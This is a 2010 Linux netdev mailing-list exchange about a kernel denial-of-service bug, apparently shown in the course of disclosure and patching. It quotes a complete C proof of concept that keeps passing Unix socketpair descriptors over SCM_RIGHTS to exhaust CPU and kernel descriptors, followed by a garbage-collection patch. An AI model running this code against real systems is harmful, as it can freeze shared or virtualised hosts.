netdev - Re: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(

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Date:	Thu, 25 Nov 2010 11:52:47 +0500
From:	Марк Коренберг 
	<socketpair@...il.com>
To:	Eric Dumazet <eric.dumazet@...il.com>
Subject: Re: Simple kernel attack using socketpair. easy, 100% reproductiblle,
 works under guest. no way to protect :(

Well, It seems, that patch likely will fix 100% CPU usage.

But what about eating all available descriptors in kernel ? vulnerability ?


2010/11/25 Eric Dumazet <eric.dumazet@...il.com>:
> Le jeudi 25 novembre 2010 à 10:57 +0500, Марк Коренберг a écrit :
>> #include <sys/socket.h>
>> #include <sys/un.h>
>>
>> static int send_fd (int unix_fd, int fd)
>> {
>>   struct msghdr msgh;
>>   struct cmsghdr *cmsg;
>>   char buf[CMSG_SPACE (sizeof (fd))];
>>
>>   memset (&msgh, 0, sizeof (msgh));
>>   memset (buf, 0, sizeof (buf));
>>
>>   msgh.msg_control = buf;
>>   msgh.msg_controllen = sizeof (buf);
>>
>>   cmsg = CMSG_FIRSTHDR (&msgh);
>>   cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
>>   cmsg->cmsg_level = SOL_SOCKET;
>>   cmsg->cmsg_type = SCM_RIGHTS;
>>
>>   msgh.msg_controllen = cmsg->cmsg_len;
>>
>>   memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
>>   return sendmsg (unix_fd, &msgh, 0);
>> }
>>
>>
>> int main ()
>> {
>>   int fd[2], ff[2];
>>   int target;
>>
>>   if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
>>     return 1;
>>
>>   for (;;)
>>   {
>>     if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
>>         return 2;
>>     send_fd (ff[0], fd[0]);
>>     send_fd (ff[0], fd[1]);
>>     close (fd[1]);
>>     close (fd[0]);
>>     fd[0] = ff[0];
>>     fd[1] = ff[1];
>>   }
>> }
>
>
> Since you obviously read recent mails on this subject yesterday, why
> dont you Cc netdev ?
>
> There is a very easy way to protect against this actually.
>
> A patch was posted yesterday, and need some adjustements.
>
>
> diff --git a/net/unix/garbage.c b/net/unix/garbage.c
> index c8df6fd..40df93d 100644
> --- a/net/unix/garbage.c
> +++ b/net/unix/garbage.c
> @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
>  }
>
>  static bool gc_in_progress = false;
> +#define UNIX_INFLIGHT_TRIGGER_GC 2000
>
>  void wait_for_unix_gc(void)
>  {
> +       /*
> +        * If number of inflight sockets is insane,
> +        * force a garbage collect right now.
> +        */
> +       if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
> +               unix_gc();
>        wait_event(unix_gc_wait, gc_in_progress == false);
>  }
>
>
>
>



-- 
Segmentation fault
--
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